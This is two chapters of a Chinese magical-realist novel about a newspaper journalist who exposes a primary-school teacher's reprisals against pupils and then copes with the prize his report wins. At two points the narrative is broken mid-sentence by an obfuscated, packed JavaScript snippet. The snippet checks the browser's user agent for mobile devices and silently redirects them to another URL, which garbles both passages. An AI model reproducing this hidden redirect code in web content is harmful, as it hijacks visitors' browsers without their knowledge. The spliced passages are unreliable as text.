此文一出，又如石入静潭。市井间议论纷纷，有人说那高墙终于透进一丝风，有人则忧心风雨太疾，恐伤了庙中古画的颜色。无论如何，“听潮阁”之名，经此一役，已非寻常。它成了这座城市肌理上一处特殊的穴位，每一次针砭，都牵动无数隐痛的神经。 事后，陈秉烛对叶葆启叹道：“此番行走于锋刃之上，幸未失足。可知这‘听潮’之事，贵在度势。潮太猛，需筑堤坝以导其流；声太杂，需辨宫商以正其音。往后，分寸二字，重于千钧。” 叶葆启颔首。他望向窗外渐次亮起的万家灯火，每一盏光晕里，或许都藏着一片欲语还休的潮汐。而他们这间小小的“听潮阁”，已然成了这片土地上，一个无法被轻易擦去的印记。它记录着时代吞吐的气息，在真实与魔幻的边界，低回不已。 25. 第025章 螺壳镇小学异闻录 “听潮阁”的招牌在报社三楼走廊尽头挂着，是块老樟木刻的，纹理里渗着几代报人手上的汗渍和墨渍。每逢阴雨天，木牌背面就会渗出细密的水珠，老编辑们说那是文字在流泪。叶葆启习惯了每天清晨用手掌抚过木牌，掌心便传来潮汐般的脉动——那是千百封来信在抽屉里呼吸的声音。 一九九八年五月，霉雨提前来了。叶葆启打开读者来信的铁皮柜时，一股陈年纸浆与铁锈的腥味扑面而来。最底层压着一封用油纸包裹的信，油纸已经脆黄，展开时簌簌落下的不知是灰尘还是虫蛀的碎屑。信纸是七八种不同质地拼贴的，有的印着厂区抬头的便笺，有的撕自孩子的作业本，还有一张是包中药的黄草纸。字迹更是斑斓：蓝黑墨水洇开的、圆珠笔压穿纸背的、铅笔写的又被雨渍晕染的——像一群受伤的鸟，在纸上扑腾出歪斜的轨迹。 信上说的事发生在螺壳镇小学。那地方叶葆启知道，镇子形状真如海螺，街道是一圈圈旋开的，陌生人走进去总会绕回原处。老辈人说，螺壳镇原是龙王吐出的一个痰盂，里面盛着被罚下界的文曲星的唾沫星子，所以镇上出过九个秀才，三个举人，也出过七个疯癫的读书人。 “记者同志，”信的开头这样写，“我们是螺壳镇小学五年级三班学生的家长。上月家长会，我们不过是问了句课外辅导费的用途，就像往深潭里扔了颗小石子。谁知这潭水深得很，石子没沉底，反而溅起了黑泥巴……” 十名学生成了“那几个人”。他们的作业本会被单独收上去，发回来时，红笔批改的痕迹特别重，有时整页纸都被划穿，透过破洞能看见下面垫着的桌子木纹。他们的座位被调到教室最后排，紧挨着放扫帚的角落，粉笔灰和蜘蛛丝常常落在他们头发上。最让家长揪心的是，班主任王老师发明了一种“静默处罚”——当这几个孩子举手回答问题时，她会微笑着点头，却永远不叫他们的名字，仿佛他们是透明的。时间长了，其他孩子也学会了这种视而不见，课间游戏时，那十个孩子周围会自动空出一个圆圈，像某种无形的结界。 叶葆启把信纸凑到台灯下细看，发现在某些字的笔画连接处，有极淡的盐渍结晶——那是眼泪干涸后留下的。他将信纸对着光，盐晶在灯光下折射出细小的虹彩。 去螺壳镇那天，黄历上写着“忌出行，宜静守”。长途汽车在公路上颠簸，车窗外的稻田绿得发黑，农人插下的秧苗一排排站得笔直，像等待检阅的绿色小兵。叶葆启靠着车窗打盹，梦见自己变成了一粒铅字，被巨大的印刷机碾过，压进新闻纸的纤维里。 螺壳镇果然如传闻所言，街道是螺旋状延伸的。镇口立着一块明代的石碑，刻着“文枢之地”四个大字，但碑身下半截埋在土里，露出的部分爬满青苔，远远看去像是“又枢之地”。叶葆启向路边卖麻糍的老人打听小学位置，老人不答话，只是用竹签挑起一块麻糍递给他。麻糍是青艾汁染的，咬开里面是乌豆沙馅，甜得发苦。 “顺着麻糍摊往右拐三次，左拐两次，看见墙头长枸杞的人家，对面就是了。”老人终于开口，缺牙的嘴里漏风，“那小学的钟楼是民国时建的，听说钟锤是块陨铁，敲出来的钟声能镇邪祟——也能招邪祟。” 叶葆启按着指引走，果然在一户墙头爬满枸杞的人家对面，看见了螺壳镇小学的铁门。门是生铁的，铸成翻开的书本形状，但年久锈蚀，书本的“页边”卷曲起来，像被火燎过。正是放学时间，家长们聚集在校门外，却异常安静。女人们用头巾把脸裹得严实，男人们蹲在墙根抽烟，烟头明明灭灭，像一群萤火虫在开会。 叶葆启混进人群，假装是来接侄子的远房亲戚。他递给旁边一个穿工装的男人一支烟，男人接过，在指甲盖上顿了顿，忽然说：“你不是本地人。” “怎么看出来的？” “本地人抽烟，第一口都是朝地上吐，”男人眼睛盯着校门，“螺壳镇地气重，第一口烟敬土地公，保平安。” 正说着，校门开了。孩子们鱼贯而出，大多是结伴的，喧闹着，追逐着。但最后出来的十几个孩子，走得很慢，彼此间隔着固定的距离，像用尺子量过。他们背着书包，头埋得很低。叶葆启注意到，他们的书包颜色都比其他孩子的暗淡，不是蓝就是灰，没有一个鲜艳的。 一个扎羊角辫的小女孩走到穿工装的男人面前，小声叫了声“爸”。男人掐灭烟，一把抱起孩子。就在转身的刹那，叶葆启看见女孩的左手手背上，用圆珠笔画着一个极小的“×”，已经有些模糊了，但笔画很深，像是反复描过。 “老师让画的？”叶葆启尽量让声音显得随意。 男人身体僵了一下，没回头，抱着孩子快步走了。但他的工装后背湿了一片汗渍，形状像一只展开翅膀的蝙蝠。 叶葆启在镇上唯一的小旅馆住下。房间在二楼，窗子正对着小学的操场。傍晚时分，操场上一个人也没有，只有旗杆孤零零地立着，顶端的红旗褪成了粉白色，在风里有气无力地飘着。旗杆的阴影越拉越长，最后像一柄黑色的剑，刺穿了整个操场。 夜里下起了细雨。叶葆启被某种声音惊醒——是脚步声，很轻，但密密麻麻，像有很多人在操场上绕圈。他撩开窗帘，借着远处路灯的微光，看见空荡荡的操场上确实有一圈脚印在慢慢显现。不是雨打的痕迹，而是实实在在的脚印，一个接一个，绕着旗杆转圈。脚印很小，像是孩子的。 更奇的是，当脚印转到第三圈时，旗杆上的绳子自己动了起来，缓缓地、一节一节地，把旗帜降下一半。然后一切恢复了平静，只有雨丝在路灯的光晕里斜斜地飘。 第二天，叶葆启去了镇上的老茶馆。茶馆是木板搭的，踩上去吱呀作响，像随时会塌。他点了最便宜的茉莉花茶，茶叶梗在粗瓷碗里浮沉。邻桌几个老人在下象棋，棋子拍得啪啪响。 “听说王老师又发威了。”一个秃顶的老人走了一步车。 “哪个王老师？教五年级那个？”对弈的老者眼睛没离开棋盘，“她呀，来头不小。娘家是县里做砚台的，祖上给乾隆爷进贡过螺钿砚。她批作业用的那支红毛笔，听说笔杆是雷击木的，笔头掺了朱砂和雄黄，写出来的字，水泼不湿，火燎不焦。” “何止，”观战的一个独眼老人插嘴，“她办公桌右边抽屉，永远锁着。有次大扫除，临时工看见那抽屉缝里往外渗红水，吓得从梯子上摔下来，瘸了条腿。” 叶葆启端起茶碗，借着碗沿的掩护观察这些老人。他们的脸上布满深深的皱纹，每道皱纹里都藏着故事，也藏着秘密。 “那学校也不是善地，”秃顶老人吃了对方一个马，“民国时候，那儿是文庙。破四旧那年，把孔圣人的牌位扔进井里，那井到现在还封着，就在操场东北角。有人说月圆之夜，能听见井里有念书声，之乎者也的。” 叶葆启记下了这些零碎的线索。他结了账，走出茶馆时，独眼老人忽然叫住他：“后生，你是外面来的记者吧？” 叶葆启心里一惊。 老人那只完好的眼睛盯着他，瞳孔是浑浊的黄色：“听我一句劝，有些事，水太深，别轻易蹚。螺壳镇的秘密，像这镇子的街道，是漩涡状的，越往里钻，越出不来。” 通过层层关系，叶葆启联系到两位愿意说话的螺壳镇小学教师。见面地点约在镇外河边的废弃水磨坊。磨坊的木轮已经腐朽，半浸在河水里，轮叶上挂满水藻，像绿色的胡须。 两位女教师都用围巾包着头脸，只露出眼睛。一个眼睛很大，但布满血丝；另一个眼睛很小，躲躲闪闪的。她们不肯进磨坊，就站在河边的柳树下说话，声音压得很低，混在河水流动的声音里，几乎听不清。 “王老师批改作业时，一定要点一支香，”大眼睛老师说，“是那种很细的线香，味道很奇怪，像是檀香里掺了别的什么。她说这香能让她静心，可我们闻了都头晕。” 小眼睛老师补充：“她改作业用的红墨水，从来不让我们碰。有一次我不小心打翻了一瓶，洒在教案上，那红色渗进纸里，第二天再看，红色的地方居然凸起来了，摸着像疤痕。” “那十个孩子……”叶葆启试探着问。 两位老师对视一眼，同时沉默了。河水哗哗地流，一只翠鸟掠过水面，叼起一条银色的小鱼。 “他们的作业本，”大眼睛老师终于开口，“每次发回去，家长都能在空白处看见一些……不是批语的记号。有时是一个圆圈，有时是一个三角，有时是几个点。家长看不懂，但我们知道，那是王老师自创的一套符号。圆圈代表‘需要特别关注’，三角代表‘家庭有问题’，点点的数量代表……孩子犯错的次数。” “最可怕的是，”小眼睛老师的声音开始发抖，“有一次我值日，去教室关窗，看见那十个孩子的课桌桌面，在夕阳下……浮现出字迹。是很淡很淡的铅笔痕，写着‘我错了’、‘我不敢了’，一遍又一遍，密密麻麻，像经文。” 她们说完这些，像耗尽了所有勇气，匆匆离开了。叶葆启站在河边，看着她们的背影消失在暮色里，像两滴水融入了大河。 正式采访那天，叶葆启特意穿上最正式的中山装，四个口袋都塞得鼓鼓的：采访本、录音机（那种用磁带的）、钢笔、记者证。校长室在行政楼二楼最东头，门前走廊的墙壁上贴满了奖状：“先进单位”、“文明校园”、“教学质量优秀”……金色和红色的奖状在昏暗的走廊里闪闪发光，像一片片鱼鳞。 校长姓褚，五十来岁，头发梳得一丝不苟，但两鬓的白发像粉笔灰，怎么梳也藏不住。他请叶葆启坐在一套藤编沙发上，沙发很旧了，藤条磨得发亮，坐下去时会发出呻吟般的声音。 “王老师是我们学校的骨干，”褚校长泡茶的动作很慢，茶叶在玻璃杯里缓缓舒展，“她带的班级，连续三年语文平均分全镇第一。家长可能有些误会，教育方法的问题，可以沟通嘛。” 叶葆启注意到，校长泡茶用的水不是暖瓶里的，而是从一个陶罐里倒出来的。水色微黄，有股淡淡的中药味。 “有家长反映，孩子因为家长提意见而受到区别对待，这事学校调查过吗？” 褚校长端起茶杯，吹了吹水面，并不喝：“记者同志，教育是门艺术。孔子都说要因材施教，对不同学生采取不同方法，这是教育的应有之义。至于家长说的‘报复’，这是很严重的指控，需要证据。” “如果确实存在教师利用职权，对学生进行精神上的孤立和惩罚呢？” 校长的笑容淡了一些：“我们是正规学校，所有教师都持证上岗。王老师可能方法上有些……严格，但出发点是为了孩子好。现在的孩子娇气，家长也敏感，一点小事就上纲上线。” 谈话进行了一个小时，像在打太极。叶葆启每次问到实质问题，校长都能用“教育艺术”、“家校沟通”、“理解万岁”之类的词搪塞过去。最后，校长站起身，这是送客的表示。 “记者同志，学校马上要期中考试了，教学任务重，”他拉开办公室的门，“您如果还有问题，可以通过正规渠道，向教育局反映。我们一定配合调查。” 走出行政楼时，叶葆启回头看了一眼。褚校长还站在二楼窗口，身影映在玻璃上，模糊不清。奇怪的是，校长室窗口那盆绿萝，所有的叶子都朝着室内方向卷曲，像是要躲避外面的阳光。 真正的突破口是一盒录音带。 那天傍晚，叶葆启在旅馆房间整理笔记，有人轻轻敲门。开门一看，是个四十多岁的女人，穿着洗得发白的蓝布衫，手里紧紧攥着一个布包。 “我是……其中一个孩子的妈妈，”她声音小得像蚊子，“我听说您是记者，我……我有样东西给您。” 她把布包放在桌上，一层层打开。最里面是一个小小的磁带盒，塑料的，边缘已经磨白了。 “上个月开家长会，我偷偷带的录音机，”女人不敢看叶葆启的眼睛，“本来只是想录下会议内容，回家好好琢磨。结果……结果录到了别的东西。” 叶葆启把磁带放进录音机，按下播放键。先是沙沙的噪音，然后是一阵脚步声，搬动椅子的声音，咳嗽声。接着，王老师的声音响起来了： “今天把大家留下来，是要说个事。”声音很平静，甚至有些温柔，“最近，有些同学的家长，对学校工作很关心，提了很多宝贵意见。这是好事，家校共建嘛。” 磁带里传来几声干笑。 “但是，”声音突然转冷，像从夏天一下子跌进冬天，“家长是家长，学生是学生。在学校，就要守学校的规矩。有些同学，不要以为家里有人说话，自己就可以特殊。我告诉你们，在五年级三班，只有一种学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904177|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生——我的学生。” 一阵寂静，只有磁带转动的沙沙声。 “现在，我念到名字的同学，放学后留下来，把教室后墙的学习园地重新布置。”王老师开始念名字，一共十个。每念一个，磁带里就传来一声极轻微的吸气声，像是孩子忍不住的抽泣。 名字念完了，王老师又说：“其他同学可以回家了。记住，留下的是自愿为班级做贡献的好同学，大家要向他们学习。” 脚步声，收拾书包的声音，孩子们离开的声音。然后，是长长的寂静。在这寂静里，叶葆启听见了更细微的声音：铅笔在纸上划过的沙沙声，压抑的呼吸声，还有……一种奇怪的、有节奏的敲击声，像是手指在桌面上轻轻敲打摩斯电码。 录音到这里本该结束了。但就在叶葆启准备按停止键时，磁带里忽然响起一段戏曲唱腔。是旦角的声音，凄凄切切地唱着： “学堂深似海哟，笔墨重如山， 先生唇齿寒如剑，童子心头结冰霜。 天有眼，地有耳，粉笔灰里藏阴阳……” 唱腔持续了约一分钟，然后戛然而止，录音真的结束了。 叶葆启猛地看向那个女人。她脸色苍白，嘴唇发抖：“我……我也不知道这段戏是哪来的。我发誓，录的时候绝对没有这个。我回家听时才发现……我吓得把录音机都砸了，这盒带子我藏在了米缸底，用红布包了三层。” “为什么现在才拿出来？” 女人哭了，眼泪大颗大颗地掉：“我怕……我怕他们知道是我录的，会更狠地整我的孩子。可是昨天，我女儿回家，手背上又多了一个‘×’。我问她怎么来的，她只是哭，不说话。我……我受不了了……” 叶葆启收下了磁带。女人临走时，他从门缝里塞给她五百块钱——那是他半个月的工资。女人推辞不要，他说：“给孩子买点吃的，补补身体。” 关上门，房间里只剩下磁带空转的沙沙声。叶葆启把磁带倒回去，又听了一遍那段戏曲。这次他注意到，在唱腔的背景里，还有一种极细微的、像是很多人在低声啜泣的声音。 叶葆启没有立刻写稿，而是带着所有材料去了县教育局。教育局在一栋七十年代建的老楼里，楼梯的水磨石地面磨出了凹痕，扶手是木头的，被无数只手摸得油亮。 接待他的是马组长，一个瘦高的中年男人，戴一副老花镜，镜片厚得像瓶底。叶葆启说明来意，把家长联名信、采访记录、还有那盒磁带放在桌上。 马组长听完录音，很久没有说话。他摘下眼镜，用衣角慢慢擦拭。办公室的窗户开着，风吹进来，桌上的文件哗啦作响。 “这段戏文……”马组长终于开口，“我小时候听过。是咱们县里一个草台班子唱的戏，叫《戒尺冤》，讲的是一个私塾先生滥用戒尺，打死学生，最后被学生的冤魂索命的故事。那班子五十年代就散了，唱这出戏的老旦，后来投了河。” 他把眼镜戴回去，看着叶葆启：“叶记者，这事我们会严肃处理。教师队伍里出现这种问题，是教育的耻辱。” 三天后，调查组进驻螺壳镇小学。组长就是马组长。调查进行了整整一周，叶葆启留在镇上，每天都能听到新的传闻：有人说王老师被叫去谈话时，她办公室那支红毛笔自己断了，笔管里流出暗红色的液体；有人说封存的那口古井，在这个组来的第二天早晨，井口的石板裂了一道缝；还有人说，夜里看见校长一个人在操场上走，走一圈，叹一口气，走了整整一夜。 处理结果出来的那天，镇上下了场大雨。雨水把街道冲刷得干干净净，连墙角的青苔都显得鲜绿了许多。处理决定张贴在校门口：王老师调离教学岗位，参加师德培训；褚校长行政记过；十名受影响的学生，由学校心理教师进行专门辅导；全校开展师德师风整顿。 叶葆启的报道在《内海都市报》头版刊出。为了写这篇报道，他三天三夜没合眼，烟灰缸里堆满了烟头。报道见报那天，他睡了整整一天一夜，醒来时已是傍晚。推开窗，晚风送来远处小学的钟声——那是新换的敲钟人在敲钟，节奏平稳，声音清亮。 报道引起了巨大反响。报社的热线电话被打爆，有一半是支持，一半是骂街。支持者说记者为民请命，骂街的说记者毁了一个好老师的前程。总编辑把叶葆启叫到办公室，递给他一叠读者来信。 “你看看，”他指着其中一封信，“这位自称是退休老教师的读者说，你文章里写王老师批作业的红墨水会凸起来，这是妖言惑众。你怎么看？” 叶葆启平静地说：“我写的是‘家长反映，红墨水痕迹在纸面略微凸起，触感特殊’。这是客观陈述事实，不是我的主观判断。” 总编辑看了他一会儿，忽然笑了：“好，有长进。记住，记者只对事实负责，不对读者的感受负责。” 一个月后，更大的消息传来：这篇报道获得了新闻奖二等奖。这是报社历史上第一次拿到这么高级别的奖项。庆功会在报社食堂举行，大家用茶缸子喝白酒，喝醉了就唱歌，唱《报童之歌》，唱《勘探队员之歌》。叶葆启被灌了很多酒，但他始终保持着清醒——或者说，是一种麻木。 深夜，他一个人爬上报社天台。城市在脚下铺展开来，灯火如星河倒泻。他想起螺壳镇那螺旋状的街道，想起那些手背上画着“×”的孩子，想起磁带里那段不知从何而来的戏曲唱腔。 风吹过，带来远处海潮的声音。叶葆启忽然明白了“听潮阁”这个名字的深意：潮汐来去，看似重复，其实每一波都不一样；人间万象，看似相似，其实每一件都有独特的纹理。他的责任，就是在万千声音中，听出那最微弱的、却最真实的潮音。 他从怀里掏出那盒已经消磁的录音带，轻轻放在天台边缘。月光下，塑料磁带盒反射着微弱的光，像一只沉睡的眼睛。 第二天，叶葆启把获奖证书锁进了抽屉最底层。他重新坐回“听潮阁”的接待桌前，打开新的读者来信。第一封是一个菜农写的，说城郊的灌溉渠被工厂废水污染了，青菜叶子长黑斑。 他拿起笔，在新采访本的第一页写下：“1998年6月17日，晴。赴城郊蔬菜基地调查水污染问题……” 笔尖划过纸面，发出沙沙的声响，像是春蚕在咀嚼桑叶，也像是潮水在轻轻拍打堤岸。 26. 第026章 获奖之后 抽屉深处传来的声音，叶葆启是在一个雨夜听见的。 那枚“新闻奖”奖牌被他用红绒布裹好，锁进办公室右手第三个抽屉。同事们都说抽屉老了，黄铜锁舌磨得薄如纸片，夜里会发出细微的叹息。但叶葆启知道不是锁舌的问题——是奖牌自己在说话。每当夜深人静，他伏案改稿时，就能听见那声音，像一枚硬币在深井里旋转，嗡嗡地诉说着什么。 “别听它的。”老校对员陈瞎子有天突然对他说。陈瞎子在报社干了四十年，眼睛坏了，耳朵却灵得很。“荣誉这东西，活久了就有了魂。你喂它正气，它就是镇纸石；你喂它邪念，它就成精了。” 叶葆启笑笑没说话，但夜里还是往抽屉缝隙里塞了张纸条，上面抄着范仲淹的“宁鸣而死，不默而生”。说来也怪，那之后奖牌的声响就变了，从嘤嘤嗡嗡变成了沉稳的心跳声，像一颗种子在黑暗的土壤里搏动。 生活看似回到了旧河道。夜班、热线、现场、听潮阁——这些词像老唱片的凹槽，一圈圈旋转着他的人生。但河水已经不同了。同事们看他的眼神多了层光晕，像冬日呵出的白气，模糊了真实的轮廓。他们叫他“叶大拿”，那声音在走廊里回荡时，会生出奇怪的回音，仿佛真有什么看不见的东西在应和。 就连报社那台老式铅字机也认得他了。每次叶葆启经过，滚筒会无端空转两下，铅字在字盘里微微颤动，拼出不成文的词组：“荣……光……责……”油墨师傅老吴说，机器也有灵性，沾了太多好文章的气，成精了。 荣誉带来的不只是声音。 第一个找上门的是个穿中山装的男人，袖口磨得发亮，像抹了层水银。他出现在叶葆启值夜班的凌晨两点，没有脚步声，就那么突然站在记者站门口。 “叶记者，”男人的声音像是从井底传来，“我家老板想请您写个传。” 叶葆启抬头看他，发现男人没有影子。日光灯惨白的光线穿透他的身体，在地板上留下一片模糊的晕。 “什么传？” “发家史。”男人从怀里掏出一个牛皮纸袋，放在桌上时发出金属的闷响，“材料都备好了，您润润笔就成。报酬……”他伸出三根手指，那手指在灯光下透明得像蜡。 “我不写这种东西。”叶葆启把纸袋推回去，触手冰凉。 男人笑了，嘴角咧到耳根：“您再想想。这世道，笔杆子能换金条子。”说完他化作一缕青烟，从门缝钻了出去。纸袋还在桌上，叶葆启打开一看，里面是一叠冥币，面额都是“亿”。 第二天他跟素琴说起这事，素琴正在腌咸菜。她把手从陶缸里抽出来，在围裙上擦了擦，说：“你爷爷那辈人就说过，出名了，不光活人找你，死人也会找。咱家祖坟朝南，阳气盛，你心里那杆秤不斜，就没事。” 叶葆启握了握妻子的手，那手因为常年劳作粗糙得像老树皮，却温暖踏实。 真正的考验在一个黄昏降临。 那是个星期五，下班时间，报社走廊空荡荡的。叶葆启收拾东西准备回家，电话响了。接起来，那头是海浪的声音，哗啦哗啦，潮汐般规律。 “叶记者，”一个女声混在海浪里，“我是海岛县的。我们这儿的海，今年颜色不对。” “怎么不对？” “红。”女人说，“像血，又像铁锈。渔民不敢下网，说网捞上来都是空的，只有腥气。” 叶葆启记下地址，准备周末去看看。挂电话前，女人突然说：“叶记者，您获奖的那篇报道，我剪下来贴在灶王爷像旁边了。您笔下有正气，能镇邪。” 这句话让叶葆启愣了许久。他走到窗前，看暮色中的城市。远处工地的塔吊像巨大的竹节虫，一口一口吞噬着天空。这座城市在变，变得陌生，而他笔下的文字，真能成为某种意义上的符咒吗？ 他破例参加的内海大学讲座，也出现了奇异的场景。 那天新闻系礼堂坐满了人，空气闷热，吊扇在头顶缓慢旋转，切割着光线。叶葆启讲“螺壳镇小学”，讲那封读者来信如何变成铅字，如何变成行动。讲着讲着，他看见第一排有个女学生一直在哭。不是抽泣，是无声地流泪，眼泪在笔记本上洇开，把字迹化成蓝色的河流。 提问环节，那个女生举手：“叶记者，您说记者要有‘傻气’。可如果‘傻’到最后，什么都没改变呢？” 礼堂突然安静下来。吊扇的声音变得格外清晰，咯吱，咯吱，像老人在磨牙。 叶葆启沉默了片刻。他想起螺壳镇小学那位王老师，想起她被调离时回头看校园的眼神，想起后来听说她在郊区小学的状态。记忆像一坛埋得太久的酒，打开时涌出的不只是醇香，还有沉淀的渣滓。 “也许改变不在表面，”他缓缓说，“而在看不见的地方。批评像一把手术刀，切下去会流血，会疼，但目的是治病。有时候病治好了，疤还在；有时候疤消了，阴雨天骨头还会酸——这些都是改变的证据。” 讲座结束，老教授握着他的手。老人的手干枯如树根，却异常有力。“你讲的是新闻的‘道’，”教授说，眼镜后的眼睛闪着奇异的光，“但现在很多人只修‘术’。他们会把笔练成绣花针，在锦缎上绣出漂亮图案，却忘了笔原本是犁，要翻开板结的土地。” 走出礼堂时天色已暗。校园里的老槐树下，叶葆启看见一个熟悉的身影——是螺壳镇小学那位王老师。她站在树影里，穿着一件素色衬衫，朝他微微点头。 叶葆启想走过去，一阵风吹过，槐花如雪落下。再抬眼，树下空无一人，只有一地白花。 是幻觉吗？他不知道。但那天晚上，他梦见自己回到螺壳镇小学。操场上的草长到齐腰高，教室里课桌还在，黑板上留着半道没算完的数学题。他推开教师办公室的门，看见王老师坐在窗前批改作业，夕阳把她的影子拉得很长，一直延伸到走廊尽头。 “叶记者，”梦里的王老师没有抬头，“谢谢您的刀，切得准。” 醒来时凌晨三点，叶葆启坐在床上，听见客厅老座钟的滴答声。那声音和抽屉里奖牌的心跳声，在深夜里形成了奇妙的和声。 素琴翻了个身，迷糊地问：“怎么了？” “做了个梦。” “梦是反的。”素琴喃喃道，又睡去了。 叶葆启却再也睡不着。他走到阳台上，看这座沉睡的城市。远处仍有零星的灯火，像不肯闭上的眼睛。他突然想起自己刚当记者时，老主任说过的话：“记者是这座城市的守夜人。别人睡了，你得醒着；别人看不见的，你得看见；别人不敢说的，你得想办法说。” 荣誉带来的骚扰接踵而至。 ××公司的李经理打来电话时，叶葆启正在写一篇关于菜市场搬迁的稿子。电话里的声音油腻腻的，像沾了太多猪油的抹布。 “叶大记者，您抬抬手，给我们的新产品美言几句……” 叶葆启拒绝后，对方不死心：“您别清高嘛。现在都什么年代了，笔杆子要会转弯才行。” “我的笔只会写直线。”叶葆启说，“弯了，就断了。” 挂断电话，他发现自己写稿的红墨水在纸上洇开了，像一滴血。奇怪的是，那滩红色慢慢凝固，竟形成了一个小小的奖杯形状。他用手指去抹，墨迹已经干了，抠不掉。 素琴的担心是有道理的。有天晚上吃饭时，她突然说：“葆启，你这几个月，白头发多了。” “老了嘛。” “不是年龄的事。”素琴给他夹了块鱼，“是心里的事。我看你有时候对着空气发呆，眼里有重影。” 叶葆启摸摸自己的脸。镜子里的男人确实有些陌生了，眼角的皱纹深了，眼神却更亮，像暗夜里的炭火，风吹不灭，反而更炽。 他把更多精力投入“听潮阁”。这个栏目在他获奖后，有了奇妙的生长。每次活动现场，叶葆启都能看见一些普通人看不见的“客人”——角落里蹲着的老人，抱着孩子的妇女，他们的身影模糊，像水中的倒影。但他们会认真听，听到关键处会点头，散场时默默离开。 解平生有天悄悄问他：“叶老师，您看见了吗？坐在最后一排那个穿蓝褂子的老大爷，每次都在，但签到表上从没他的名字。” 叶葆启没回答，只是拍拍年轻人的肩膀：“记住，我们来这儿不是为了看见什么，而是为了被看见的人能看见希望。” “听潮阁”开始尝试专题形式。第一次做“老旧小区改造”专场时，发生了件怪事。居民代表里有个八十多岁的老太太，耳朵背，说话却响亮。她讲到一半，突然指着天花板说：“看，梁上的燕子回来了！” 所有人都抬头，只见空荡荡的天花板，连个蜘蛛网都没有。 但叶葆启看见了——不是用眼睛，是用某种更深的知觉。他看见房梁上确实有燕子在筑巢，泥巢还是湿的，有新草的气味。那是记忆中的燕子，是这栋老楼五十年前的模样。 活动结束，老太太拉着他的手说：“记者同志，你眼里有光，能照见旧东西。这好，这好，人不能忘了本。” 叶葆启指导年轻人的方式也在变。他不再只是讲技巧，更多时候讲故事。讲他采访过的那些人，那些事，那些在岁月长河里一闪而过的微光。他告诉曹东方：“写批评稿不是泼脏水，是洗镜子。镜子脏了，照出来的人脸就是歪的。我们的工作是把镜子擦干净，至于照镜子的人愿不愿意看真实的自己，那是另一回事。” 赵宛芳有一次哭着从采访现场回来，说被采访对象轰出来了。叶葆启没安慰她，而是泡了壶浓茶，给她讲了自己早年的一次经历。 “那是个冬天，我去采访一个拖欠农民工工资的包工头。他放狗咬我，我在雪地里跑掉了鞋。后来怎么写成的稿子？我在他工地对面租了间房，盯了七天，记下所有进出车辆的车牌，算出了他实际的工程量。稿子登出来，劳动部门介入，工资发下去了。” “您不恨他吗？”赵宛芳问。 “恨过。但后来想想，他也是链条上的一环。问题不在某个人，在整套齿轮怎么转。”叶葆启看着杯中沉浮的茶叶，“记者的愤怒要像茶，不能是白开水，烫一下就凉；也不能是酒，烧昏了头。要有点苦，有点涩，但回味是清的。” 1999年春天来得晚。三月了，河面的冰还没化尽，像老人不肯掉的牙。叶葆启听说王老师在郊区小学的消息，是在一个早晨。消息是随风传来的——真的是一阵风，吹开了他办公桌的窗户，夹带着远郊田野的气味和孩童的读书声。 他决定去看看。 郊区小学在三十里外，要穿过一片桃林。时值花期，桃花开得疯癫，红得不像真花，像泼出去的颜料。叶葆启骑车前往，花瓣落了他一身。 学校很小，只有两排平房，操场是泥地，但扫得干净。他到的时候正是课间，孩子们在玩老鹰捉小鸡。王老师当母鸡，伸开双臂护着身后一串“小鸡”。她的动作有些笨拙，但眼神明亮，那是叶葆启从未在她脸上见过的光。 她没有看见他。叶葆启就站在围墙外看了十分钟，然后悄悄离开了。回程路上，他想起老领导的话：“记者的每一天都是新的。”其实每个人都是，王老师是，那些孩子也是。时光是最公正的编辑，它会删掉一些章节，重写一些段落，但好的内核，总会在某个版本里留存下来。 儿子叶舟高考前的那晚，父子俩在河边散步。这是叶葆启最喜欢的一段河岸，老柳树垂着长发般的枝条，对岸的灯火倒映在水里，碎成千万片金箔。 “爸，你当记者图啥？”十八岁的叶舟问出了那个问题。 叶葆启没有立即回答。他弯腰捡起一块扁平的石头，打了个水漂。石头在水面跳跃七次，画出一串同心圆。 “你看这水漂，”他说，“石头最终会沉下去，但它激起的涟漪会传到很远。也许到对岸，也许更远，我们看不见的地方。记者做的事，就像这水漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904178|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——不求石头永远漂着，只求那圈涟漪能触到该触到的岸。” 叶舟似懂非懂，但他记住了父亲打水漂的姿势：身体微微侧倾，手腕发力，石片脱手时有个漂亮的旋转。后来他很多次模仿这个姿势，始终不如父亲打得远。 高考那三天，素琴在家坐立不安，把观音像擦了又擦，香炉里的灰满得溢出来。叶葆启照常上班，但写稿时写错了好几个字。老陈瞎子闻着空气说：“今天报社的气场乱，有大事。” 发榜那天，邮差在门口喊：“叶舟家，挂号信！” 素琴冲出去，手抖得拆不开信封。叶葆启接过，用裁纸刀小心地划开。展开通知书那一刻，他看见的不是字，而是一片光——金黄色的，温暖的光，从纸面升腾起来，笼罩了整个客厅。那是希望的光，是未来的光，是一个父亲看见儿子踏上新旅程时，心里涌起的无法言说的光。 素琴哭了，笑着哭。叶葆启抱住她，闻到她头发里油烟和桂花油混合的味道。这个味道他闻了二十年，是家的味道，是根的味道。 那天夜里，奖牌在抽屉里发出了不同的声音。不再是心跳，而是像泉水，叮咚作响，清澈欢快。叶葆启打开抽屉，红绒布自己掀开一角，奖牌在黑暗里泛着温润的光，像一块被岁月摩挲过的玉。 